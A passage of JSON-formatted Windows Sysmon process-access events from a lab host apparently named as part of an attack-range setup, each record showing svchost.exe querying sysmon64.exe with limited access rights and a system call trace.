C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1300,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1301,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1302,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1303,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1304,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1305,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1306,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1307,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 